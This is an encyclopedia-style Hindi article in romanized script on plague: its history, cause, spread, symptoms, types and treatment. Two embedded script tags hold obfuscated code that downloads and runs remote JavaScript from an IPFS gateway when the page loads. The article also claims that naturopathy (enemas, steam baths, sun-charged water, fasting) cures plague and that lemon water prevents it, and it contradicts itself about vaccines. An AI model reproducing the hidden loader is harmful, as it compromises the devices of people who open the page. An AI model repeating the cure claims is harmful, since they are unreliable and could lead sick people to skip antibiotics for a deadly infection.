प्लेग

pleg (Pleague) rog- ek bahut hi khataranak aur ek mahamari ka rog hai tatha yah sansar ki sabase purani mahamariyoan mean se ek hai. yah ek prakar ka sankramak rog hai, agar sankraman ki shuruat mean hi ilaj nahian kiya jae to ye bimari ghatak bhi sabit ho sakati hai. is rog ko aur bhi kee namoan se jana jata haian jaise - taoon, blaik deth, pest, goti vala jvar. isako agnirohini tatha sanskrit mean aupasargik sannipat ke nam se bhi jana jata hai. bhari paimane par tabahi machane ke karan poore itihas mean pleg kukhyat rahi hai. aj bhi vishv ke kuchh bhagoan mean pleg mahamari bana hua hai. pleg ki vajah se 14 vian sadi mean yoorop ki ek tihaee abadi mari gee thi. sadiyoan bad aj bhi vishv mean prativarsh pleg ki lagabhag 2000 varadatean samane ati hai. bharat mean 1994 mean nyoom aaunik pleg phail gaya tha, pleg bhoomadhy rekha ke atyant ushn pradesh ko chho dakar sansar ke kisi bhi pradesh mean ho sakata hai. koee bhi jati, ya ayu ka nar-nari isase bacha nahian hai.

itihas

vishv mean pleg|thumb|250px prachin kal mean kisi bhi mahamari ko pleg kahate the. yah rog kitana purana hai isaka aandazisase kiya ja sakata hai ki ephiras ke roophus ne, jo tr aaujan yug ka chikitsak tha, "pleg ke byooboan" ka zikr kiya hai aur likha hai ki yah ghatam rog misr, libiya aur siriya mean paya jata hai. "buk aauv saimual" mean isaka ullekh hai. eesa poorv yug mean 41 mahamariyoan ke abhilekh milate haian. eesa ke samay se sanh 1500 tak 109 badhi mahamariyaan hueean, jinamean 14vian shatabdi ki "blaik deth" prasiddh hai. sanh 1500 se 1720 tak vishvavyapi mahamariyaan (epidemics) phailian. phir 18vian aur 19vian shatabdi mean shaanti rahi. sirf eshiya mean chhitaphut akraman hote rahe. tab sanh 1894 mean haangakaang mean isane sir uthaya aur japan, bharat, turki hote hue sanh 1896 mean yah rog roos ja pahuancha, sanh 1898 mean arab, pharas, aaustriya, aphrika, dakshini amarika aur havaee dvip tatha sanh 1900 mean ianglaiand, amarika aur aaustreliya mean isane taandav kiya. sanh 1898 se 1918 tak bharat mean isane ek karo d pranoan ki bali li. ab pun: sansar mean shaanti hai, keval chhitaput akraman ke samachar milate haian.

bharat mean

ek puran kahavat thi ki pleg siandhu nadi nahian par kar sakata. par 19vian shatabdi mean pleg ne bharat par bhi akraman kiya. sanh 1815 mean tin varsh ke akal ke bad gujarat, kachchh aur kathiyava d mean isane dera dala, agale varsh haidarabad (siandh) aur ahamadabad par chadhaee ki, sanh 1836 mean pali (marava d) se chalakar yah meva d pahuancha. sanh 1823 mean kedaranath (gadhaval) mean, sanh 1834 se 1836 tak uttari bharat ke any sthaloan par akraman hue aur sanh 1849 mean yah dakshin ki or badha. sanh 1853 mean ek jaanch kamishan niyukt hua. sanh 1876 mean ek aur akraman hua aur tab sanh 1898 se agale 20 varshoan tak isane banbee aur bangal ko hila dala.

vishv mean pleg

yoorop mean 14vian shatabdi mean "kali maut"|thumb|150px pleg mahamariyoan ke chakr chalate rahe haian. chhathi shatabdi mean pachas varshoan tak yoorop mean isaka ek daur chala. samooche roman samrajy mean pleg badanragahoan se aranbh hokar dooravarti nagaroan ki or phaila tha. satavian shatabdi mean 664 se 680 tak phaili mahamariyaan, jinaka ullekh bede ne kiya hai, shayad pleg hi thi. 14vian shatabdi mean "kali maut" ke ne daur aranbh hue, jinamean mrityusankhya bhayavah thi. pratham daur mean anek nagaroan ki do tihaee se tin chauthaee abadi tak saf ho gee. kahate haian, is chakr mean yoorop mean dhaee karo d (arthath kul abadi ke chauthaee) vyakti mar ge. 1664-65 mean itihas prasiddh "gret pleg" ka landan nagar par akraman hua. landan ki abadi sadhe char lakh thi, jisamean se do tihaee log darakar bhag ge aur bache logoan mean se 68,596 pleg ka shikar ho ge. kahate haian, isi ke bad hue landan ke brihat agnikaand ne nagar se pleg ko nikal bahar kiya. par sanbhavat: yah chamatkar sanh 1720 mean lagaee gee kathor kvaanratin ka phal tha. isake bad thi yoorop mean pleg ke akraman hote rahe aur aant mean sanh 1720 mean marseee mean 87,500 pranoan ki bali lekar yah shaant hua.
san 1675 se 1684 tak uttari aphrika, turki, polaiand, hangari, jarmani, astriya mean pleg ka ek naya uttarabhimukh daura hua, jisamean sanh 1675 mean malta mean 11,000 sanh 1679 mean viena mean 76,000 aur sanh 1681 mean prag mean 83,000 pranoan ki ahuti p di. is chakr ki bhishanata ki kalpana isase ki ja sakati hai ki 10,000 ki abadivale dresden nagar mean 4,397 nagarik isake shikar ho ge. sanh 1833 se 1845 tak misr mean pleg ka taandav hota raha. par isi samay yoorop mean vijnan ka sooryoday ho raha tha aur misr ke pleg ka pratham bar adhyayan kiya gaya. phreanch vaijnanikoan ne bataya ki vastav mean jitana bataya jata hai yah utana sankramak nahian hai. sanh 1878 mean volga mahamari se yoorop sanshak ho utha aur sabhi rajyoan ne jaanch ayog bheje, jo mahamari samapt hone ke bad ghatanasthal par pahuanche. pleg ke sthayi gadh arab, mesopotamiya, kumaooan, hoonan (chin) poorvi tatha madhy aphrika haian. pleg ki mahamariyoan ki kahani vishv itihas ke sath padhane par jnat hoti hai ki itihas ki dharaean mo dane mean is rog ne kitana b da bhag liya hai.

karan

yerasiniya pestis baiktiriya|thumb|150px yah ek jivanu janit rog hai. yah yerasiniya pestis / besilus pestis (poorv nam - pestoorela pestis) namak jivanu ke sankraman se hoti hai. byoobonik pleg isaka prachalit prakar hai. vaisilas pestis (paschurela pestis) ki khoj sanh 1894 mean haangakaang ke kita sato aur yarsin ne ki. age ke anusandhanoan ne siddh kiya ki yah mukhyat: kriantak praniyoan ka rog hai. ye kitanu silan vale sthanoan, koo da - karakat tatha s di-gali chizoan mean panapata hai. ye rog un padarthoan mean bhi phailata hai jinamean se gandi badaboo ati hai tatha bhap nikalati haian. in kitanuoan ka hamala pahale - pahale choohoan ke pissuoan par hota hai aur phir yah bimari choohoan ke dvara manushyoan ko bhi ho jati hai. jin vyaktiyoan ke sharir mean pahale se hi dooshit dravy jama rahata hai un vyaktiyoan ko yah rog jaldi ho jata hai. jin vyaktiyoan ke sharir mean rogoan se l dane ki shakti kam hoti hai, un vyaktiyoan ko bhi yah rog ho jata hai. jin vyaktiyoan ke sharir mean dooshit dravy nahian hota hai un vyaktiyoan ka ye kitanu kuchh bhi nahian biga d pate haian. mukhy roop se yah kritank (rodent) praniyoan (pray: choohe) ka rog hai, adami ko yah rog pratyaksh sansarg athava pissoo ke dansh se lagata hai. pleg hamare desh mean pahale moos (Rattus norvegicus) ko hota hai. isase choohoan (Rattus rattus) ko lagata hai. pissoo (jinapasella chiyopis) in kriantakoan ka raktapan karata hai. jab choohe marate haian to pleg ke jivanuoan se bhare pissoo choohe ko chho dakar adami ki or dau date haian. jab adami ko pissoo katate haian, to dansh mean apane aandar bhara sankramak dravy rakt mean ugal dete haian. choohoan ka marana aranbh hone ke do tin saptah bad manushyoan mean pleg phailata hai. pleg ko phailane vale choohe|thumb|150px pleg ki bimari mean cham di mean inphekshan pravesh karake lianphetik tak jata hai. jaisa ki prayah kit patangoan ke inphekshan mean hota hai, byabonik pleg mean lianphetik sansthan ka inphekshan hota hai. prayah sankramit makkhi ke katane se hota hai. ye makkhiy aauan choohoan jaise krintako par paee jati hai aur inaka mezaban krintak marane par doosare ko shikar banati haian. ek bar jamane par jivanu limph nod par akraman karake badhane lagate haian. varasiniya pestis phaigosaitosis se bachate haian aur phaigosaeet ke andar jananakar use samapt bhi kar dete haian aur jaise jaise rog badhata hai limphanod se rakt ka risav hota hai isaka poora parigalan ho jata hai.

phailav

pleg ki bimari ka phailav|thumb|250px pleg ki bimari anek karanoan se phailati hai. prithvi par paryavaran pradooshan jaise pani v hava adhik dooshit ho jati hai jisase vatavaran mean vishaile jivanu phail jate haian. vishaile jivanu jab kit banakar vatavaran mean phailate haian to yah mahamari ka roop le lete haian jo pleg ki bimari ke roop mean any jivoan v manushyoan mean phail jate haian. jab gharoan mean choohe mar jate haian aur marane ke bad agar vah kee dinoan tak ghar mean p de rahate hai to usamean se nikalane vali vishaili badaboo pleg ka karan ban jati hai. choohoan ke sharir par palane vale kitanuoan ki vajah se bhi pleg ki bimari phailati hai aur ye atyant sankramak hoti hai. pleg ke mariz ki saans aur thook ke zarie unake sanpark mean ane vale logoan mean bhi pleg ke jivanuoan ka sankraman ho sakata hai. isalie pleg ke mariz़oan ka ilaj karate samay ya unake sanpark mean rahate samay ehatiyat baratane ki avashyakata hoti hai.

lakshan

pleg ka lakshan|thumb|200px pleg ki bimari ke jivanu sabase pahale khoon ko prabhavit karate haian jisake karan rogi ko ja da dekar tez bukhar jak d leta hai aur aniyamit dhang se ghatata-badhata hai. is prakar ki bimari hone par kuchh samay mean hi bukhar bahut hi vishal roop le leta hai aur rogi ke hath - paanv mean ak dan hone lagati hai. is rog ke hone par rogi ke sir mean tez dard, pasaliyoan ka dard, ultiyaan evan dast hote rahate haian. isake sath-sath rogi ki aankhean lal ho jati hai aur kaph v peshab ke sath khoon nikalane lagata hai. is rog ke hone par rogi ko bechaini badh jati hai. hridayadaurbaly tatha avasannata, tilli badhana aur raktastravi dane nikalana, jisase sharir kala p d jata hai aur rog ka kali maut nam sarthak hota hai. pleg ki bimari panapane mean ek se sat din lag sakate haian.

prakar

pleg 4 mukhy prakar ka hota hai -

1. byoobonik - jab pleg ke rog mean rogi ko gilti nikal ati hai to use bebakyooniang kahate haian.
2. nyoobyonik - pleg rog hone par rogi ke pheph doan mean jalan utpann hone lagata hai to use nyoobyonik kahate haian.
3. septisam - pleg rog se grast rogi ka jab khoon dooshit hokar kharab ho jata hai to septisam kahate haian.
4. iantesatinal - jab pleg rog se grast rogi ki ant diyoan mean vikar utpann hone lagata hai to iantesatinal kahate haian.

• aur doosare prakar bhi -

1. raktapootit pleg ghatak prakar hai, jisamean rakt mean jivanu vartaman hote haian,
2. koshika tvachiy pleg, jisamean tvacha par karabankal se pho de nikal ate haian,
3. sphotakiy pleg, jisamean sharir mean dane nikalate haian,
4. gutika pleg, jisamean rog kanth mean hota hai,
5. avardhit pleg tatha jo pleg ka halka akraman hai aur jisamean keval gilti nikalati hai,
6. pramastishkiy pleg

byoobonik pleg (gilti pleg) -

byoobonik pleg ke lakshan|thumb|250px jab kisi vyakti ko pleg rog ho jata hai to usaki jaangh, gardan adi aangoan ki granthiyoan mean dard ke sath soojan ho jati hai, is rog se pi dit rogi ki gilti ek ke bad doosari phir tisari soojati hai aur phir phootati hai. kabhi-kabhi ek sath kee giltiyaan nikal ati hai aur dard karane lagati hai. jise byooboj kahate haian aur bukhar ata hai. yadi giltiyaan 4-5 dinoan mean phoot jati hai aur bukhar utar jata hai to use achchha samajhana chahie nahian to is rog ka parinam aur bhi zyada khataranak ho sakata hai. lekin kuchh samay mean ye 7-10 dinoan ke bad phootati hai. is prakar ka pleg rog adhik hota hai. byoob aaunik pleg mukhyataya choohoan ke sharir par palane vale pissuoan ke katane ki vajah se phailati hai. ye bimari keval mariz ke sanpark mean ane se to nahian lagati lekin mariz ki granthiyoan se nikale dravyoan ke sidhe sanpark mean ane se byoob aaunik pleg ho sakata hai.

nyoomonik pleg -

nyoomonik pleg ke lakshan|thumb|250px nyoom aaunik pleg ki varadatean apekshakrit kam hoti haian, nyoomonik pleg rog jab kisi vyakti ko ho jata hai to isaka akraman sabase pahale pheph doan par hota hai jo pheph doan ka inphekshan hota hai. isake parinam svaroop nimoniya panapakar tezise phailata hai aur rogi vyakti ko kee prakar ke rog ho jate haian jaise- khaansi, saans lene mean kasht, s aauans ka bharipan, chhati mean dard, dam phoolana, sharir mean thand lagakar sir mean dard hona, na di mean tez dard, kaleje mean dard, pralap, pith mean dard tatha pheph doan se rakt ka srav hona adi aur chikitsa n kiye jane par tivr shvasan phelayar ho jata hai. nyoomonik pleg rog gilti vale pleg rog se bahut adhik ghatak hota hai tatha rogi vyakti ko bahut adhik pareshan karata hai. amataur par yah kam ghatak hota hai kintu yah khataranak aur chikitsa n karane par ghatak hota hai. nyoom aaunik pleg zyada sankramak hai. ye bimari rogi ke sidh sanpark mean ane se usaki saansoan ya khaansi se nikale baiktiriya ke sankraman se ho sakata hai.

septisimik pleg (sharir mean s dan paida karane vala pleg) -

jab yah pleg kisi vyakti ko ho jata hai to rogi ke sharir ke kee aang siku d kar s dane lagate haian aur rogi ke sharir ka khoon zaharila ho jata hai. rogi ki sharirik kriyaean band ho jati haian. is rog ke hone ke karan rogi ko bahut adhik pareshani hoti hai. jab yah pleg kisi vyakti ko ho jata hai to vah vyakti 2-3 dinoan se adhik jivit nahian rah pata hai.

iantestinal pleg (aantrik pleg) -

is rog ka prakop rogi vyakti ki aantoan par hota hai. is rog ke karan rogi vyakti ka pet phoolane lag jata hai aur usake pet aur kamar mean dard hone lagata hai tatha use dast bhi hone lagate haian. jab rogi vyakti ko yah rog hone vala hota hai to usaki tabiyat giri-giri si rahane lagati hai tatha usake sharir mean susti aur kamazori badh jati hai. rogi ki yah avastha 1 ghante se lekar 7 dinoan tak rah sakati hai. phir isake bad rog ka prakop aur bhi tez ho jata hai. jab rogi ki avastha zyada gambhir ho jati hai to use thand lagane lagati hai tatha tez bukhar ho jata hai, rogi ke sir mean dard hota hai, rogi ke hath-pair aithane lagate haian. rogi vyakti ke sharir mean dard hota hai tatha use bahut adhik kamazori a jati hai. rogi vyakti ke galoan ka rang pila p d jana, aankhoan ke age gaddhean ho jana, na di aur shvas mean tivrata, bhookh kam ho jana, avaz dhima ho jana, chaitana shoony, pralap, peshab ka kam banana ya bilkul n banana, muanh tatha jananendriyoan se raktasrav hona, aniandra tatha jibh ka lal ho jana tatha soojan ho jana adi lakshan rogi mean dikhane lagata hai.

upay

pleg rog choohe ke dvara hi ek se doosare vyakti tak pahuanchata hai. aise mean pleg rog se grast choohe marane lagate haian. pleg rog se bachane ka sabase achchha upay hai, jis ghar mean pleg rog ke jivanu phail gaye ho us ghar ko chho d dean. yadi us ghar ko chho d nahian sakate to ghar ko achchhi tarah saf v svachchh rakhean. choohoan ko apane ghar se door rakhana chahie tatha naliyoan, batharoom adi ko phinayal se dhulava lena chahie. ghar ko svachchh rakhane ke lie havan karana chahie aur kabhi-kabhi nim ki sookhi pattiyoan ko jalakar ghar ke kone-kone mean dhuana lagana chahie. yadi chooha mar jae to use door pheankava dena chahie ya mitti mean gaddha khodakar gadhava dena chahie.

prakritik chikitsa ke dvara upay

in sabhi pleg rogoan se bachane ke lie kuchh prakritik chikitsa ke dvara upay:-

• pleg rog se bachane ke lie vyaktiyoan ko yah dhyan rakhana chahie ki jaise hi ghar mean choohean mar jaean use ghar se bahar chho d dena chahie tatha jahaan par rah rahe ho us jagah par saph-saphaee ka dhyan dena chahie.
• vyaktiyoan ko sada tatha jaldi pachane vale bhojan karana chahie tatha pet mean kabj nahian hone dena chahie.
• enima kriya ke dvara pet ko saf karate rahana chahie.
• bazar ki chizean, mithaiyaan, dooshit doodh, s di-gali bhojy padarth adi nahian khane chahie.
• yadi sharir mean vijatiy dravy (dooshit drav) jama ho gaya hai to use jaldi hi sharir se bahar nikalane ke upay karana chahie. sharir se dooshit drav ko bahar nikalane ke lie prakritik chikitsa se upachar karana chahie. vah vyakti jisake sharir mean dooshit drav nahian hota usake sharir mean chahean kitane hi taoon ki de chale jaai, us vyakti ko yah rog nahian ho sakata hai.
• jin gharoan ke as-pas ke vyaktiyoan ko yadi pleg ka rog ho gaya ho to svasthy logoan ko kapoor ka ek tuk da sadaiv apane pas rakhana chahie aur bhojan ke sath pyaj avashy khana chahie.
• subah ke samay mean uthate hi ek gilas pani mean niboo ke ras ko milakar pina chahie isase pleg rog nahian hota hai.
• shauch karane ke bad rogi vyakti ko apane hath-pair ko achchhi tarah se dhokar khule sthan mean vayu ka sevan karane ke lie nikal jana chahie.
• rogi vyakti ko pratidin kam se kam 20 minat tak dhoop se apane sharir ki sikaee karani chahie aur phir snan karana chahie.
• vyaktiyoan ko pratidin gahari saans lene vale vyayam karana chahie.

upachar

lianph granthi aur rakt ke namoonoan mean pleg ke jivanu dekhe jate haian. rog ka nidan lakshanik byooboj ke prakat hone se ho jata hai. nee aushadhiyoan ke agaman se poorv pleg ka upachar tha, choohoan ka vinash aur choohe girane par sthan chho d dena. aj rokatham ke lie pleg ka tika saksham hai. pleg ki savari jivanu, pissoo aur choohe ke trikon par baithakar chalati hai aur jivavasadak se jivanu, kitanashak (10a di.di.ti.) se pissoo, aur chooha vinashak upayoan se choohoan ko marakar pleg ka unmoolan sanbhav hai. jivavasadakoan mean streptomaisin tatha salpha aushadhiyoan mean salphadazin aur salphamerazin inake viruddh karagar hai. adhunik chikitsa ne pleg ki ghatakata nashtapray kar di hai.

elopaithik ilaj

• eantibayotik ka upayog hi isaki chikitsa hai. ye eantibayotik haian - emanoglaikosaeed, streptomaisin aur jentamaisin, tetrasaiklin, d aauksisaiklin aur phloorokyoonilon samooh ke siprophloksin. in davaiyoan se pleg ka prabhavi dhang se ilaj kiya ja sakata hai.
• lekin agar ilaj na kiya jae to bimari se pi dit logoan ki mrityu dar 90 pratishat tak ho sakati hai.
• pleg se bachane ke lie tika vikasit karane ke lie shodhakary jari haian lekin abhi tak koee tika upalabdh nahian hai.
• bharat mean 1994 mean pashchimi kshetroan mean 50 se zyada logoan ki byoob aaunik pleg se maut ho gee thi.

prakritik chikitsa

in sabhi pleg rogoan ko thik karane ke lie prakritik chikitsa se upachar:-

• jaise hi vyakti ko pleg rog hone ka lakshan dikhaee dean, chahe soojan ho ya n athava bukhar ho ya n, turant hi pet ko saf karane ke lie enima kriya karani chahie. phir isake bad poore sharir par ek bar stimabath kam se kam adhe ghante tak karana chahie.
• rogi vyakti ko turant muanh mean bhap dena chahie tatha isake sath-sath rogi vyakti ko char-char ghante bad stimabath karana chahie. phir isake bad mehanasnan aur udarasnan karana chahie. pahala snan to stimabath ke bad lena chahie tatha doosara snan tin se char ghante ke aantaral par lena chahie. yadi pahale din ke stimabath se paryapt pasina ae to doosare din ek aur stimabath savadhani ke sath lena chahie. yadi pasina n nikale to pedoo par gili patti lagani chahie. yadi gilti nikal aee ho to us par do-do ghante ke bad 15 minat tak bhap dekar baki samay us par mitti ki gili patti, barf ka jal ya khoob thande jal se bhige kapade ki ushnakar patti ya thandi patti hi baandhani chahie.
• rogi vyakti ko asamani rang ki botal ka sooryatapt jal 25 gram ki matra mean pratyek 5 minat ke aantaral par rogi vyakti ko pilana chahie.
• pleg rog se pi dit rogi ka jab tak rog thik n ho jae tab tak rogi ko upavas rakhana chahie. yadi rogi ki avastha bahut adhik gambhir ho gee hai to sharir par gile kap de ki patti ek ghanta tak baandhana chahie. phir isake bad spanjabath karana chahie isase rogi ko bahut labh milata hai.
• yadi rogi nyoomoniya pleg se pi dit hai to usaki chhati par mitti ki gili patti din mean do se tin bar baandhani chahie. rogi ke sir mean dard ho raha ho to usake sir par bhi mitti ki gili patti ya phir kap de ki thandi patti baandhani chahie aur in patihtayoan ko tho de-tho de samay par badalate rahana chahie.
• is prakar se rogi vyakti ka upachar prakritik chikitsa se karean to usaka pleg rog kuchh hi dinoan mean thik ho jayega.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>